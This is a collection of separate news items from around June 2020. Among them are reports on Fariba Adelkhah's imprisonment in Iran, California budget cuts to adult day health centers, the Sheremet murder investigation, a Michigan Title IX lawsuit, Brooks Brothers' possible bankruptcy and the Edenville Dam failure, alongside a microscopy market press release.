Myanmar Election Will Happen on Schedule, Says Commission
Series of events mark anniversary of Fariba Adelkhahs arrest as Paris city hall displays her portrait on its facade.

French-Iranian academic Fariba Adelkhah has spent one year imprisoned in Iran, in a case that has intensified tensions between Paris and Tehran and angered supporters who fear she is the victim of a political battle.

The anniversary of her arrest is to be marked on Friday by a series of events around the world, many held virtually because of the coronavirus pandemic, with her portrait displayed by Paris Mayor Anne Hidalgo on the facade of the French capitals city hall.

Fariba Adelkhah is a hostage of the Iranian government, Iranian Nobel Peace Prize laureate and rights lawyer Shirin Ebadi, who now lives in exile, said in a video message to mark the anniversary.

The Tehran government uses dual nationals by taking them hostage and using them to achieve its own political agenda, she said.

French President Emmanuel Macron on Friday called Adelkhahs continued imprisonment unacceptable.

My message to the Iranian authorities: justice demands that our compatriot be released immediately, he posted on Twitter.

Arrest

Adelkhah, a prominent anthropologist specialising in Shia Islam, was arrested on June 5, 2019, with her partner Roland Marchal, a fellow academic at the Sciences Po university in Paris specialising in Africa.

Marchal was freed and returned to France in March after France released Iranian engineer Jalal Rohollahnejad, who risked extradition to the United States on accusations of violating sanctions.

Last month, she was ordered to serve six years in prison after being convicted on national security and propaganda charges, in a verdict criticised by Paris as political.

Born in Iran in 1959 but living in France since 1977, Adelkhah has maintained her innocence, and colleagues and other supporters have rubbished the charges against her.

She went on a 49-day hunger strike to protest against her conditions.
The Bayview Hunters Point Adult Day Health Center gave Ernest and Linda Hills a much-needed routine.

Taking care of Ernest, 82, had become increasingly difficult for Linda after he was diagnosed with dementia three years ago and Parkinsons disease the following year. Then last summer she found the adult day health center, where her husband of four decades could get his physical and occupational therapy, socialize with friends and have access to recreational activities, all in the same place.

Going to the center was like a job for him, said Linda Hills, 71. It made him feel prideful.

Now the San Francisco center, and 260 others like it across California, could be forced to shut their doors by the end of the year.

To help close a projected $54 billion budget deficit brought on by the coronavirus pandemic, Gov. Gavin Newsom has proposed eliminating community-based adult services. The program aims to keep seniors and disabled people in their homes instead of being institutionalized because of chronic medical or mental health conditions.

More than 36,000 people are enrolled in the program, predominantly through Medi-Cal, the states health insurance for the poor. If adopted, the cuts would take effect in January, saving the state $97 million in the upcoming fiscal year.

But senior advocates warn that Newsom is taking the exactly the wrong approach during the coronavirus pandemic. Eliminating funding for the day centers could push thousands of seniors into nursing homes, they say, which would not only be more expensive for the state but also a threat to their lives.

More than 1,900 residents and health care workers at nursing homes and other residential care facilities have died from the coronavirus, according to the latest state figures, nearly half of all confirmed fatalities in California.

That would literally be a death sentence right there, said Corinne Jan, CEO of Family Bridges, an Oakland nonprofit that provides health and social services for East Bay residents who speak Asian languages. The organization runs two adult day health centers that together enroll about 450 seniors.

Medi-Cal pays $76 per person per day for the centers to provide physical, speech and occupational therapy, psychological services, counseling, nursing care, meals, activities and transportation.

Jan said its a more cost-effective approach, because the care takes place in a congregate setting, which also prevents social isolation for seniors. Nursing homes are reimbursed $233 per day for taking Medi-Cal patients.

But without more than $5 million in state funding that Family Bridges receives for the centers annually, the nonprofit has little hope of keeping them open past this year, Jan said. She said the proposed cuts would create a cascade of disaster for families that may not have another option to care for their loved ones.

Frail seniors and their caregivers do not deserve to have their lifeline taken away from them, Jan said. Not during a pandemic. Not ever.

Paul Chinn / The Chronicle

H.D. Palmer, a spokesman for the state Department of Finance, said the severity of the budget deficit left the Newsom administration with only undesirable options.

The precipitous revenue drop caused by the coronavirus recession has compelled the state to make extremely difficult decisions, Palmer said.

The adult day health centers were cut before, during the recession a decade ago. After a legal challenge brought by a disability rights group, the state settled in 2011, creating the current community-based adult services program.

This time, lawmakers have pushed back on the governors plan, proposing to dip further into state reserves and delay some payments to future years to avoid widespread cuts to education, health care and social services programs. Under their framework, the day centers would be spared. The Legislature must pass a balanced budget by June 15 or forgo its pay, and negotiations with Newsom are ongoing.

Newsom is hoping a federal bailout will rescue Californias finances. At his budget briefing last month, he said he would undo $14 billion in proposed spending reductions, including the elimination of community-based adult services, if Congress approves a stimulus package for states and local governments.

But with that legislation in limbo in Washington, D.C., advocates for elderly and disabled Californians fear the looming state cuts would disproportionately hit their communities.

Paul Chinn / The Chronicle

In addition to the adult day health centers, Newsom would eliminate the multipurpose senior services program, which is meant to keep about 10,000 people out of nursing homes. He also proposed to raise the income threshold for seniors and disabled people to be eligible for Medi-Cal, reduce hours for in-home health aides and lower the states supplemental Social Security payments to offset a federal cost-of-living adjustment. The Legislatures proposed budget would maintain that spending.

At a virtual rally last week, Jodi Reid, executive director for the California Alliance for Retired Americans, said the state risked dismantling its system for taking care of seniors just as the elderly population is booming.

These cuts are not just going to hurt today, they are going to hurt for years to come, she said.

Sheltering in place during the coronavirus pandemic has given Linda and Ernest Hills a peek at life if state budget cuts close the Bayview Hunters Point Adult Day Health Center.

Before the pandemic hit, Linda would wake her husband by 7 a.m. five days a week, so he could be ready for the van that would pick him up around 8:30 a.m. and drop him home from the center around 3:30 p.m. Those hours of respite in the middle of the day gave her time to cook and clean, see a therapist and visit with support groups, and take classes on how to care for Ernest.

Linda said its been a bear these last couple months, because she cant leave Ernest alone. A family member comes over once a week to watch him while she goes shopping. Though she tries to take him out for short walks, Ernest has been stumbling more lately without the exercise he gets at the center. It took Linda two hours to help him up after a recent fall.

Shes grappling with the possibility that she may have to move Ernest to a nursing home. But Linda wants to keep him home as long as she can so that he can have his children and grandchildren around and because hes always been a good husband and provider to her.

Id like to be able to take care of him, she said. He was so good to me when I met him.

Alexei Koseff is a San Francisco Chronicle staff writer. Email: alexei.koseff@sfchronicle.com Twitter: @akoseff
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Microscope, Scanning Probe Microscope (Spm), Others), By Application (Life Science, Material Science, Pathology), By End User (Hospitals & Clinics, Academic & Research Institutes, Diagnostics Centers) - Forecast Till 2022

Market Research Future (MRFR) in recently published study asserts that the global Microscopy market is expected to reach USD ~10.5 Billion in 2022; it has been noted that market is growing at steady pace and is expected to grow at the CAGR of 7.8% during the forecasted period 2016  2022. Surpassing its previous growth records in terms of value & volume, the market is expected to gain prominence over the forecasted period.

Factors substantiating the market growth include the increased funding by the public and private sector for life science research studies and the expansion of the semiconductor industries in most of the emerging nations. Increasing research and development activities initiated by governments, schools, universities and research institutions across the developing regions have fuelled the growth of the market.

get free sample copy @ https://www.marketresearchfuture.com/sample_request/2313

Global Microscopy Device Market  Regional Analysis

Globally, Asia-Pacific is the largest market for microscopy devices. The APAC market is expected to grow further registering 7.3% CAGR during 2016-2022. North America market for microscopy devices accounting for the second-largest market globally will grow at 11.5% CAGR during the assessment period.

Microscopy Device Market  Competitive Analysis

The Microscopy Device market is widely expanded and highly competitive with the presence of numerous major and small players operating at the international and regional level around the globe. The market will witness fierce competition due to the expected extensions in product & service and product innovations. Manufacturers operating in the Microscopy Device market strive to develop Device with adept technology with unrivalled design and features.

Get full report @ https://www.marketresearchfuture.com/reports/microscopy-devices-market-2313

Key Players:

FEI, Meiji Techno, Nikon Metrology NV, Woodley Equipment Company Ltd, Radical Scientific Equipments Pvt. Ltd, Bruker, Mauna Kea Technologies SA, Icon Analytical Equipment Pvt. Ltd, Olympus Corporation, NIDEK Inc., Sonix, Inc., Konan Medical USA Inc., Carl Zeiss, and Leica Microsystems are some of the prominent players at the forefront of competition in the Global Microscopy Device Market and are profiled in MRFR Analysis.

Industry/ Innovation/ Related News

November 2017  Researchers of Germany and Portugal collaboratively developed the first microscope to concurrently monitor movement and neuron activity in zebrafish larvae without interfering with their behavior. To enable wider use in the research community, the neurobehavioral tracking microscope uses off-the-shelf components and is open source.

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MRFR team has supreme objective to provide the optimum quality market research and intelligence services to our clients. Our market research studies by Components, Application, Logistics and market players for global, regional, and country-level market segments, enable our clients to see more, know more, and do more, which help to answer all their most important questions.
The WORLD FOLK VISION competition-festival is being held online this year, and Marianna Gevorgyan, who is the only representative from Armenia, has made it to the semi-final.

In an interview with Armenian News-NEWS.am, Gevorgyan informed that she had participated in the competition with a performance on the kanoon and that she might make it to the final after the online vote. There are 3,950 participants from 115 countries, and only 180 have made it to the semi-final. I was offered to participate in the competition. I performed two works, including a group song and a solo, and the jury selected the solo performance. I am the only representative of Armenia, and it is a matter of raising the Armenian national flag. No other representative is performing with the kanoon. The vote, which is free-of-charge, kicked off on June 1 and will end on June 15. On June 16, based on the results of the online vote, 50 participants will make it to the final. Turkey and Azerbaijan are also participating. I am asking all Armenians to vote for me and help me raise the Armenian tricolor flag. To vote, all you need to do is visit the website of WORLD FOLK VISION, register and give 10 points for Armenia.
5 things to know about the George Floyd protests and riots

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City streets across America have been filled with protesters and rioters over the past week since the death of African American George Floyd, who died in police custody with an officers knee on his neck on Memorial Day.

After months of Americans being confined by stay-at-home orders during the COVID-19 crisis, thousands nationwide have left their homes in recent days to stand up against injustice and centuries of racial inequality and discrimination against African Americans.

While most of the events that have taken place in the last week have been peaceful demonstrations, others have taken advantage of the unrest to set fire to buildings, loot, and commit other senseless criminal acts.

In the following pages are five things people should keep in mind about the ongoing protests and riots.
Avakov said the investigation was underway regarding customers, organizers, and mechanisms for the execution of the assassination.

Ukrainian Interior Minister Arsen Avakov has urged politicians not to speculate on the case of journalist Pavel Sheremet's murder.

"There is no need to speculate politically around this situation. The investigation of this case is very serious, and it has nothing to do with personalities, careers, both mine or that of other officials or police officers," he said during a Q&A hour at the Verkhovna Rada, Ukraine's parliament, on June 5, according to an UNIAN correspondent.

Avakov said the suspects had refused to testify, take part in investigative experiments or pass a lie-detector test.

Read alsoSheremet case: Two suspects left in custody, third allowed to post bail

The minister added the investigation was underway regarding customers, organizers, and mechanisms for the execution of the assassination. At the same time, he said the police were paying attention to all possible theories, including conspiracy ones that appear "involving some notorious persons."

As UNIAN reported earlier, Sheremet was assassinated in a car blast in the center of Kyiv on the morning of July 20, 2016.

On December 12, 2019, police said they suspected five persons of complicity in the crime: former Donbas war volunteer and musician Andrii Antonenko, army volunteer and pediatric surgeon Yulia Kuzmenko (nom de guerre "Lysa," or "Fox"), nurse with a paratrooper unit Yana Duhar, and a family couple of army volunteers Inna Hryshchenko ("Puma") and Vladyslav Hryshchenko ("Bucha").

Law enforcers claim that the goal of the Sheremet assassination was to destabilize the social and political situation in Ukraine.

Antonenko, Kuzmenko and Duhar were notified of suspicion on December 12, 2019. The court decided to remand Antonenko and Kuzmenko in custody, while Duhar was placed under house arrest during hours of darkness.

In May 2020, charges pressed against the suspects in the investigation into Sheremet's murder were amended. The investigation is now seeing Antonenko as an organizer, but rather an executioner of the crime by conspiracy, while Kuzmenko is now seen as the one who "only laid the explosives along with Antonenko, but didn't press the button."

On May 25, Kyiv's Pechersky district court satisfied the prosecutors' motions on three suspects in the Sheremet murder case. Antonenko's pretrial restriction was extended and he will be remanded in custody for another 60 days. Kuzmenko will also stay behind bars for another two months, until July 24. Meanwhile, Duhar's pretrial restriction was changed from house arrest during hours of darkness to bail set at UAH 168,150 (US$6,298). She should also wear a GPS-tracking ankle monitor.
CUNA announces the availability of the Cyber Liability and Intelligence webinar. This webinar provides the latest information on breaches and ways to reduce liability through cyber and risk management insurance. This one-hour webinar is free to both CUNA members and NASCUS members.

For credit unions that were planning to attend the recently postponed CUNA Cybersecurity Conference with NASCUS, this webinar provides an opportunity to continue networking and learning. In addition to the information provided in the webinar, attendees will get access to a cyber-focused online classroom, which will allow for discussions with other professionals that have attended this and other cyber-related webinars.
Some villagers groused that the panchayat pradhans are not reporting the issues to the police or concerned authorities.

Lucknow: With the number of COVID-19 positive cases in migrant workers arriving in different places across Uttar Pradesh rising, reports of violation of quarantine protocols, have triggered panic among residents in rural areas fearing mass transmission.

The efficacy of the Nigrani Samitis set up to check the implementation of quarantine norms as well as lockdown violations has come under scanner as quarantine norms have been violated by many migrant workers both at home and at institutional levels.

As per the government data more than 26 lakh migrant workers have returned to different districts of Uttar Pradesh.

Although the panchayat pradhans are key players in this vigilance system, locals say that most of the village heads are reluctant to report such violations. The government formed a mechanism that requires village heads, some other stakeholders to report about any kind of violation. Even though the state health department is taking feedback from ASHA (Accredited Social Health Activist) workers, the locals are still apprehensive and far from being convinced.

ASHA Sangini, supervisor of Bakshi Ka Talab area, Renu Singh said, When we visit villages, some people flag the issue of breach of home quarantine by a few. Several houses in the villages do not have adequate space to quarantine the migrant workers and schools are already filled to the brim.

When ASHA worker Kusum Singh of Atesua village requested a woman to keep her 22-year-old son in home quarantine and follow social distancing, the woman said, Mein tumhari baat sunoon aur bete ko chhor doon? (Should I listen to you and leave my son alone?)

The womans stance has managed to scare her neighbours. Humari koi dushmani nahin hai kisi se lekin apni suraksha ki chinta hai. (We dont have enmity with anyone but we are worried about our safety).

Some villagers groused that the panchayat pradhans are not reporting the issues to the police or concerned authorities.

A resident of Muspipari village in Bakshi Ka Talab block, Narinder Singh said, Panchayat representatives do not want to irk anyone. When we raise the issue of people defying home quarantine rules, instead of cautioning them, panchayat representatives try to pacify us.

Many among them dubbed it as their political compulsion as panchayat members may have been eyeing panchayat election due in December this year.

Pradhan of Muspipari, Akansha Awasthi said, We get complaints of lockdown and home quarantine violations. We try to explain to them the reason behind it. We cannot report every issue. When asked if it was not appeasement, she said, Our job is to listen to everyone and find a solution in the larger public interest.

In Muspipari village, around 14-15 people who returned from other cities are home quarantined but people termed it as an ineffective solution. We dont blame them. Everyone in the village has small houses and home quarantine and social distancing cant be practised, said Rajani Kumari, a local resident.

However, some of the village heads braved the resentment of migrant workers who reached home after facing great difficulty by putting them under quarantine in the local school building.

Deepak Kumar, the pradhan of Bharsar Panchayat, has put everyone coming from other cities under institutional quarantine.

Some people are unhappy with me but this step had to be taken, he said adding, We have recently quarantined two people in the school.

Similar is the case with people in quarantine centres as well as home quarantined in Balia, an eastern Uttar Pradesh district bordering Bihar. Sanjay Yadav, resident of Babu Ka Dera village said, Those who are quarantined in schools want to go home. They have struggled to reach here and now another 14 days in quarantine centre is adding to their worries.

He added, Those who are home quarantined feel privileged as there is no one to stop them. If someone complains, locals intervene not to take the issue to the police. However, villagers are more worried especially after many migrants are testing positive for COVID-19.

Another youth, Dinesh Kumar said, Everyone wants others to raise the issue. Locals are worried but they wont complain on their own but looking at the pradhan to initiate. But the pradhan being a political person would not like to annoy the locals.

A senior government official, as well as the field workers, confirm that family members in some quarantine centres were allowed to see their relatives but only from outside the gates and even allowed to give foods.

Lucknow Divisional commissioner, Mukesh Meshram said, We receive such complaints and there are Nigrani Samitis in every village. If the pradhan is not doing his job, other people are also there. If no one is reporting any breach, people can call senior officials, helpline numbers. We have been regularly taking action in such cases.

Data from Uttar Pradesh's dial 112 suggests that nearly 1,900 complaints related to quarantine violations have been received from different districts across the state between 19 to 27 May.

Most of these complaints are related to migrants roaming about in villages and towns instead of adhering to home quarantine rules. Some of these complaints highlight the same issue with those quarantined in some institutions.

A police official privy to the matter said, Most of the migrants violating the institutional quarantine complained about lack of facilities in quarantine centres.

As far as home quarantined migrants are concerned, they do not want to be caged inside the houses. In some cases, small houses are also a reason behind violation of home quarantine, said Kusum Devi, an ASHA worker of Atesua village of Lucknow.

Close to 327 complaints in a day were received on 20 May when migrants in large number arrived at different parts of Uttar Pradesh through special trains. Similarly, 310, 312, 265, 189, 157 complaints were received on 21, 22, 23, 24 and 25 May respectively. The police official said that the trend shows that the frequency of complaints is decreasing now after a sudden spike in the number of complaints in earlier days.
By PTI

WASHINGTON: Many Indians, mostly on H-1B visa, have said that they feel being left out as their US-born children are ineligible to travel to India due to the restrictions put in place by the Indian government in view of the coronavirus pandemic.

The Vande Bharat mission, launched last month, is the Indian government's largest-ever exercise to repatriate its nationals stranded abroad due to the coronavirus lockdown.

Over 1.07 lakh people have so far returned to the country under the programme.

Anguraj Kailasam, who is now out of status in the US as her work visa has expired, requested the Indian government to allow minors of Indians with visas to travel in the Vande Bharat mission as well.

The US laws expect her to leave the country as soon as possible, but the current Indian law would not allow her with her US-born daughter.

"She (daughter) has an entry and emergency visa, but due to the current travel visa restrictions, we cannot go back to India since all visas are suspended by the government of India," Anguraj said.

"The Indian consulate considered my request for an emergency visa and they approved it last week, but even with that I cannot travel unless visa restrictions are relaxed for categories like emergency/entry visa," she said.

Gopinath Nagarajan said that his mother is in coma in India.

"Doctor said that it's better I have to be there immediately as her life is at very risk and she is breathing her last days," he told PTI.

"I am planning to visit India as soon as possible, but I have a US-born infant of four months (Prakruthi Gopinath). Myself and my wife are Indian passport holders," he said.

Jincy Mathew said "we are in a situation that we cannot be a part of repatriation flights as my baby (six months old) doesn't have an Indian visa or Overseas Citizenship of India (OCI) card. We have a valid reason to fly back to India but we cannot because our minor baby cannot be left alone in the US".

The student visa of Jincy is to expire soon.

"I have registered with the Indian mission San Francisco and tried to apply for an emergency visa for my baby but the mission in San Francisco is not accepting any applications. We are really stranded here with no food and money."

"My husband lost his job around March second week. A charity is helping us for food, diapers among others. Please help us to get an emergency visa for my baby and please help for repatriation," Jincy said.

Rose Merin Pathrose, who was working in Chicago on an H-1B visa, vacated her apartment, sold her car and furniture and packed her suitcases to move back to India with her three-year-old son, for whom she said was able to get an Indian tourist visa.

"I was never able to apply for his OCI since my visa was expiring soon and having six months validity on the parents visa was one of the requirements to apply for OCI," she said.

There are many people with similar situations who would be running out of money to survive unless they reach India and resume work, Pathrose said.

"I am not having medical insurance either for me or my son, you can imagine how risky it is to stay here with this situation," she said.

"I am in an emergency situation," said Sayooj Valsan from San Francisco.

Laid off from job on H-1B visa, Valsan was planning to move back to India in April but with a month-old baby girl, an American citizen by birth, he is not able to travel back as his daughter could not get an OCI card in time.

"We are bleeding emotionally and financially here, and with my family it's getting very difficult to continue being here. Can someone help us?" he asked.

The US work visa (L1B) of Georgy Sebastian expired on March 7 and his renewal petition was rejected on April 22.

"As a result, I was put on suspension pending a move back to my company's Indian subsidiary. I would not be getting salary, medical benefits among others while I am here in the US. If anyone in my family falls sick, with the expenses here, all our savings would be wiped off in one day," he said.

Sebastian has a nine-month-old daughter who is a US passport holder with valid Indian entry (X1) visa.

"The only way to return to India for us with our infant daughter is if we have an OCI card based on the current GOI guidelines. However, we cannot apply for an OCI card because we are already out of status in the US. Even otherwise, OCI applications take at least 60 days in San Francisco."

"My employer is fully supportive and wants to get me back to India however possible. However, even their hands are tied because of the stance of the Government of India and the US laws," Sebastian said.

Sandip Barui and his wife are both Indian citizens and their baby is a US born child with an emergency entry visa to India.

"We are moving to India permanently as I have to join a job in India by July. My wife's visa status will expire in a few days. I am aware there are repatriation flights and I have registered with the embassy as well. But, since my child is not an Indian citizen or OCI cardholder, we won't be able to travel even if we are chosen by the embassy for repatriation," Barui said.

Victoria Michael, a Malaysia citizen, married to an Indian citizen last year and is now 30 weeks pregnant.

"I would like to return to my husband in Punjab as I am unemployed and have no family or friends in Malaysia to look after me during my pregnancy and my baby after delivery. However, I am not eligible for an OCI card as I am married for less than two years," she said in an email from Malaysia.

"I really hope to get a visa to travel to India before my due date (mid-July), otherwise my child will end up in an orphanage as I am not financially stable to take care of the baby on my own," Michael said, adding that she sent many emails to the Indian mission but to no avail.
A man accused of protesting the death of George Floyd in Minnesota by writingF--- police, kill pigs and other anti-law enforcement epithets at 13 locations in the Jersey City Heights is asking the public for money to pay for his legal bills and possible fines.

And if there is any money left over, he would like the donations to pay for his overdue bills and expenses from quarantine.

Lucas Trobo, 32, was charged with 13 counts of criminal mischief on May 29 after police found the graffiti, created with a black sharpie marker, over a pan of roughly 11 block from Graham to Zabriskie streets.

Authorities say Trobo targeted a garage door, a storefront window, a mailbox, traffic poles and utility boxes. The criminal complaint said the amount of the damage in each case was $2,000.

Trobos GoFundMe page, titled Legal Defense George Floyd Black Lives Matter protest graffiti," is seeking $26,000, the total cost of the fines. Floyd died after he was arrested in Minneapolis, Minnesota and a police officer restrained him by putting his neck into Floyds neck.

Usually in a graffiti case they make up an absurd amount to intimidate the defendants into pleading guilty, Trobo wrote. Cleaning up some tags does not cost $26,000. ... The reason I listed $26,000 as the amount I may need, is because I really dont have a clear idea of what my defense may cost or what I may have to pay if I go to trial and lose.

As of noon Friday, Trobo had raised $380.

Let us all just pray that some change comes from all this pain; that even if everyone cant be friends, at least we can treat each other with basic decency and human dignity and not murder the other because of the way we look or where we were born."
LANSING, MI  Michigan Attorney General Dana Nessel has joined 17 other attorneys general in filing a lawsuit challenging the U.S. Department of Educations final rule that, they contend, violates Title IX and weakens protections for sexual assault and harassment victims.

The new rule defines sexual harassment, including sexual assault, as unlawful sex discrimination and holds schools accountable for failure to respond equitably and promptly to sexual misconduct incidents and ensures a more reliable adjudication process that is fair to all students, according to a U.S. Department of Education news release.

NPR reports the new federal rules give more protections to college students accused of sexual assault by mandating live hearings and real-time cross-examination of each student, giving students the right to appeal, and allowing schools to raise the evidentiary standard from a preponderance of the evidence to clear and convincing, making it harder to find a student responsible for misconduct.

The state of Michigan, which is home to 15 state-funded universities, 28 public community colleges, 836 public school districts and 56 intermediate school districts, joins the attorneys general of California, Colorado, Delaware, the District of Columbia, Illinois, Massachusetts, Minnesota, New Jersey, New Mexico, North Carolina, Oregon, Pennsylvania, Rhode Island, Vermont, Virginia, Washington, and Wisconsin in filing this lawsuit against U.S. Secretary of Education Betsy DeVos, a West Michigan native, the U.S. Department of Education, and the United States of America.

They aim to prevent implementation of the departments rule, which is titled Nondiscrimination on the Basis of Sex in Education Programs or Activities Receiving Federal Financial Assistance."

Read the complaint here.

I find it appalling that the Department of Education would spend its time and resources on weakening protections for sexual assault and harassment victims on school campuses here in Michigan and across this nation. This is a blatant disregard for the pain and fear victims of sexual assault and harassment face, and discourages reporting of these offenses, Nessel said in a statement.

The fact of the matter is this: the final rule will make educational institutions less safe and diminish their ability to promptly deter, stop and prevent sexual harassment and violence. That reason alone is enough for Governor (Gretchen) Whitmer and I to protect our students and join this lawsuit as the State of Michigan.

Whitmer added in a statement, As a survivor and a mother, it pains me to see how these new rules will water down Title IX protections for our students, which is why Michigan is joining several other states in challenging these new rules."

Its important to stand up to efforts to weaken student protections against sexual harassment and violence that undermine the intent of Title IX. These rules will do nothing to change the culture of campus sexual assault and strongly discourages victim disclosure.

Student sexual harassment is rampant in schools across the country, according to Nessel. In seventh through twelfth grades, 56% of girls and 40% of boys are sexually harassed. In college, nearly two-thirds of both men and women will experience sexual harassment, the release states.

In the complaint, the coalition asserts that the U.S. Department of Educations new rule strips students of longstanding protections against sexual harassment in violation of Title IXs mandate to prevent and remedy sex discrimination, conflicts with federal and state statutes and Supreme Court precedent, and will chill the reporting of sexual harassment. They contend the new regulations would:

Narrow the protections for students and others by redefining sexual harassment to exclude a broad spectrum of discriminatory conduct from Title IXs reach, arbitrarily excluding incidents of sexual harassment based on where they occur, and limiting when schools can respond to serious sexual misconduct;

Require extensive and unnecessary new procedural requirements that will reduce the number of reports and investigations and undermine the ability of schools to provide a fair process to all students;

Force schools to dismiss any reports of sexual harassment that happen outside the guidelines of the new rule, requiring schools to adopt parallel code of conduct provisions to keep their campuses safe. But this will also cause confusion and chill reporting; and

Demand schools make significant changes by mid-August in the midst of the COVID-19 pandemic . This will require schools to bypass the mechanisms that allow students, parents, faculty, staff, and community members to help shape important school policies.

In a statement, Michigan Democratic Party Chair Lavora Barnes voiced support for Whitmer, Nessel and the other states that have joined this lawsuit.

At a time when we should be focused on ensuring that our education system is prepared to handle the new realities of COVID-19, Betsy DeVos, our Secretary of Education, is focused on protecting perpetrators and forcing the revictimization of sexual assault and harrasment victims, Barnes said in a statement.

She is hell-bent on guaranteeing that our students cannot and will not be able to learn and thrive in a school setting. This would be the exact opposite of her current job requirements. The constant attacks on education would be shameful, embarrassing, and dangerous coming from anyone, but they are even more so when it is the Secretary of Education making these decisions. Where is the accountability? We stand with Governor Whitmer and Attorney General Nessel and the many other states that have joined in this lawsuit. It is time to put an end to Betsy DeVos reign over our education system. Our students deserve better."

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Brooks Brothers is talking to banks about raising financing for a potential bankruptcy that could come as soon as July, as the coronavirus pandemic squeezes the sales of the two-century-old retailer, people familiar with the matter tell CNBC.

Brooks Brothers is continuing a sale process it launched earlier this year to heavy interest, and could still conduct a sale without filing for bankruptcy, these people say.

However, its talks about so-called debtor-in-possession financing, which would support its operations in bankruptcy, show that one option it is preparing for is filing for court protection. The retailer has not finalized how large of a DIP loan it might need, as that would depend on how many stores it closes in any potential bankruptcy proceeding, the people said.

Brooks Brothers Chief Executive Claudio Del Vecchio, told The New York Times this week that while he was not "eager" to consider a Chapter 11 bankruptcy filing, he would not rule it out.

Brooks Brothers, known for its upscale preppy attire, calls itself the country's oldest clothing retailer. It, like other retailers, has been battered by the coronavirus pandemic, which has already driven J. Crew, Neiman Marcus and J.C. Penney into bankruptcy.

Many of these retailers were forced to close stores as states issued stay-at-home orders to contain the spread of Covid-19, which has sickened about 1.9 million people in the U.S. and killed at least 108,211. With many workers conducting business from their homes over the last few months, or sidelined by high unemployment, demand for business attire has fallen sharply.

Brooks Brothers earlier hired an investment bank, P.J. Solomon, to explore a sale or bankruptcy. And while it has had significant interest from potential buyers  drawn in by its strong brand  many of them would prefer to buy the retailer out of bankruptcy, so they can purchase a smaller chunk of its store footprint, the people said.
Comedian Roy Wood Jr. joined The Tonight Show Starring Jimmy Fallon Wednesday to talk about being back in Birmingham and the removal of the Confederate monument from Linn Park.

The comedian, who grew up in Birmingham, returned home from New York. During the segment, he told Fallon that he and his family stayed in New York for as long as they could before they made the decision a few weeks ago to drive 16 hours to wait out the nationwide coronavirus stay-at-home orders in Alabama.

So, thats where we are now. Good ol Birmingham, he told the late night host.

When Fallon asked him about life in Alabama over the past few weeks, Wood said recent events in the city have reminded him about the states sense of community, including the protest for justice in Birmingham at Kelly Ingram Park in the civil rights district and demonstrators efforts later that evening to remove the Confederate Soldiers & Sailors Monument from Linn Park.

This is where Birmingham, to me, is just such a different place to be from, said Wood, explaining that the city is rich with justice and people trying to fight for it.

So, everybody is at the park for the peaceful protest. And a good friend of mine -- comedian Jermaine FunnyMaine Johnson -- he says to the crowd, While were down here, why dont we try to take down that Confederate monument over there playfully summarizing Johnsons Sunday afternoon call for protesters to join him in the park at 7:30 p.m. to tear down the 52-foot-tall stone structure.

So, this is how ready Birmingham is to be done with racism, Wood said. Somebody in downtown Birmingham pulled up in a pickup truck with a rope and tried to pull down a million-ton Confederate monumentwith a pickup truck! Thats how tired we are, Wood exclaimed as Fallon laughed. It didnt work...It didnt work.

This took professionals crews 36 hours to complete. On Sunday, someone tried to take it down with rope & a pick-up truck. . Easily one of the most inspirational acts yet most Alabama things I've ever heard. https://t.co/Ex9vhEp70N  Roy Wood Jr- Ex Jedi (@roywoodjr) June 3, 2020

Wood then recounted how Birmingham Mayor Randall Woodfin came out to talk to the demonstrators.

He spoke with Jermaine and he spoke with the crowd and said give me two days to get this done. And the mayor got it done in one. And the Confederate monument is down and that came as a result of people, you know, coming together. There was a lot of stuff that happened after that in the streets of Birmingham, no different from everywhere else, Wood said, alluding to the hours of mayhem that ensued as some people in the crowd left Linn park and spilled into downtown Birmingham, shattering windows and damaging buildings.

All of that stuff happened without the mayor and without Jermaine Johnson telling people to go do that. No one told people to go do that, said Wood. People were going to go tear up stuff on their own initiative, and thats what happened.

The comedian explained to Fallon that the next morning, he and a crew of people went out to the civil rights district to assist businesses in the area with cleanup efforts, including Adams eye care, owned by Dr. Juanakee Adams.

Theres a black woman optometrist, Dr. Adams, and Dr. Adams (office) is one of the places that got torn up and myself and a gang of other locals, we just showed up and we just started cleaning.

The group shoveled glass and people of all ages and races brought food and music, said Wood, describing the camaraderie.

A homeless person even came out and donated their time, he said. So, to be able to see that sense of community here. That was dope.

Wood told Fallon another outstanding marker of Birminghams solidarity was the money White Clergy for Black Lives Matter raised to help the city pay for the legal costs of removing the monument, which violated state law. The group decided to donate the remaining funds to Faith in Action.

Thats what the city of Birmingham is about, said Wood. I just think theres just a wonderful show of initiative happening here in the city and Ive never been more proud to be from Birmingham than in the past 72 hours.

Later on in the segment, Wood explained why he hates the rhetoric surrounding protesting vs. looting, as he described how racism and systemic oppression in the U.S. is like a kettle pot that has been sealed shut and put on the stove for centuries.

And every time the kettle pot starts boiling a little bit, the conversation is about why is the steam coming out? said a visibly irritated Wood. Stop talking about that and take the pot off the stove. Thats the only conversation that needs to be had. And I think thats the conversation lost in the midst of everything that happens.

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The Edenville Dam, whose breach on May 19 caused the failure of the Sanford Dam and the consequent flooding of the Tittabawassee River, which destroyed homes and businesses throughout mid-Michigan, was deemed to be in "poor" condition and to have "high hazard potential" prior to the breach.

An online media briefing Friday morning by members of the Department of Environment, Great Lakes and Energy (EGLE) and its Dam Safety Program discussed the safety status of dams throughout Michigan, including the Edenville Dam.

A classification of "high hazard potential"  the highest on a scale of three, with the others being "significant" and "low"  indicates the potential downstream impact should a dam fail. That potential impact for a dam with high hazard potential includes "expected loss of life" and "severe impacts," according to the briefing by EGLE.

Fortunately, the flooding of the Tittabawassee River in May did not result in any loss of life.

"Poor" condition for a dam means that "a dam safety deficiency is recognized for loading conditions that may realistically occur," according to EGLE. "Remedial action or further investigations and studies are necessary to determine risk."

A dam deemed to have high hazard potential must be inspected every three years.

After its most recent inspection on Aug. 21, 2018, the condition of the Edenville Dam was classified as "poor." The ratings on the condition scale are "satisfactory," "fair," "poor" and "unsatisfactory"  along with "unrated," which applies to dams that do not have a current rating for various reasons.

The lowest condition rating of "unsatisfactory," one step below the "poor" rating in 2018 of the Edenville Dam, requires immediate or emergency action for resolution of a problem.

In a question-and-answer session at the end of the briefing, EGLE dam inspector Luke Trumble was asked whether there was any consideration on the part of EGLE to lower the level of Wixom Lake, which was an impoundment of the Edenville Dam.

"There was no direction from the department (EGLE) or request by the owner to do that ahead of (the failure of the dam), that I'm aware of," Trumble said.

Trumble was also asked what stage of enforcement of dam safety EGLE was at with Edenville dam owner Boyce Hydro when the dam failed.

